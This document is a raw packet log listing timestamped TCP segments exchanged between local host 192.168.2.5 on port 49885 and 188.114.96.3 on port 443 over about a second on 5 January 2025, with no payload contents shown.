Jan 5, 2025 18:52:53.914099932 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.914166927 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.914175034 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.914268970 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.914283037 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.914329052 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.914335966 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.914345026 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.914597988 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.914612055 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.914659977 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.914666891 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.965706110 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.977063894 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.977081060 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.977173090 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.977185965 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.977241993 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.977447033 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.977464914 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.977519989 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.977524996 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.977606058 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.977746964 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.977761030 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.977811098 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.977818012 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.978146076 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.978163004 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.978195906 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.978203058 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:53.978224993 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:53.978247881 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.005075932 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.005090952 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.005153894 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.005172968 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.005220890 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.005845070 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.005857944 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.005912066 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.005918026 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.007785082 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.007807970 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.007853985 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.007860899 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.007874012 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.007905006 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.008126974 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.008141994 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.008208990 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.008215904 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.009269953 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.068450928 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.068476915 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.068528891 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.068535089 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.068547010 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.068547964 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.068573952 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.068603039 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.068623066 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.068648100 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.068653107 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.068675995 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.068861961 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.068876028 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.068906069 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.068912029 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.068934917 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.069144011 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.069159985 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.069188118 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.069192886 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.069205999 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.097631931 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.097652912 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.097735882 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.097748041 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.097858906 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.097877026 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.097907066 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.097912073 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.097949982 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.098167896 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.098181963 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.098232031 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.098238945 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.098421097 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.098438978 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.098475933 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.098483086 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.098509073 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.153192043 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.160980940 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.161004066 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.161082983 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.161091089 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.161134958 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.161245108 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.161261082 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.161307096 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.161313057 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.161326885 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.161345005 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.161370993 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.161375999 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.161408901 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.161431074 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.161524057 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.161537886 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.161581993 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.161587000 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.161849976 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.190030098 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.190047026 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.190274000 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.190284014 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.190293074 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.190319061 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.190352917 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.190361023 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.190371037 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.190385103 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.190418005 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.190423965 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.190697908 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.190713882 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.190768957 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.190777063 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.246937990 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.250860929 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.250885963 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.250962973 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.250969887 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.251007080 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.253338099 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.253355980 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.253417969 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.253424883 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.253642082 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.253659964 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.253693104 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.253698111 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.253727913 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.253742933 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.253751040 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.253756046 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.253782034 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.253783941 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.253799915 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.253804922 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.253828049 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.253855944 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.254019022 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.254033089 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.254080057 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.254085064 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.258183002 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.282704115 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.282721996 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.282785892 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.282795906 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.282902002 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.282918930 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.282959938 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.282967091 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.282991886 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.283016920 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.283440113 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.283454895 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.283509970 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.283514977 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.286040068 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.343444109 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.343472958 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.343533039 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.343550920 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.343591928 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.343610048 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.345972061 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.345988989 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.346048117 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.346055031 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.346139908 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.346189976 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.346205950 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.346273899 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.346281052 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.346366882 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.346529007 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.346544027 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.346586943 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.346587896 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.346597910 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.346620083 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.346627951 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.346647024 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.346652985 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.346677065 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.375089884 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.375144958 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.375154018 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.375164032 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.375216961 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.375344992 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.375360966 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.375416994 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.375422955 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.375766993 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.375786066 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.375819921 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.375827074 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.375850916 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.418812037 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.435863972 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.435894966 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.435965061 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.435971022 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.436012983 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.438374043 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.438431025 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.438462019 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.438473940 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.438515902 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.438515902 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.438590050 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.438611031 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.438661098 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.438687086 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.438698053 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.438769102 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.438793898 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.438841105 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.438847065 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.438862085 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.438886881 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.439048052 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.439069033 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.439100981 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.439105034 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.439121962 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.439136982 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.467840910 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.467865944 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.467910051 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.467956066 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.467962027 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.467977047 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.468034983 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.468250036 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.468265057 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.468305111 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.468310118 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.468338966 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.512577057 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.528497934 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.528527021 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.528597116 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.528605938 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.528655052 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.530841112 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.530862093 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.530927896 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.530932903 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.530980110 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.531092882 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.531107903 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.531197071 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.531203985 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.531250954 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.531347036 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.531362057 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.531415939 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.531420946 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.531431913 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.531459093 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.531466007 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.531507969 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.533840895 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.560163021 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.560180902 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.560271025 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.560282946 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.560337067 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.560355902 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.560389042 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.560395002 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.560421944 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.560782909 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.560795069 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.560838938 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.560846090 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.560868979 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.561103106 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.561120987 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.561167955 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.561175108 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.606307030 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.657481909 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.657500982 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.657556057 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.657565117 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.657592058 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.657635927 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.657685041 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.657699108 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.657741070 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.657749891 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.657768965 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.657788038 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.657912016 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.657926083 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.657957077 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.657960892 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.657990932 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.658004045 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.658229113 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.658243895 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.658291101 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.658293962 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.658303022 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.658339977 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.662741899 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.662755966 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.662833929 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.662839890 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.665119886 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.665138006 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.665178061 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.665184021 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.665215015 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.665934086 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.665949106 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.665997982 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.666003942 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.669437885 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.749855042 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.749881029 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.749970913 CET	443	49885	188.114.96.3	192.168.2.5
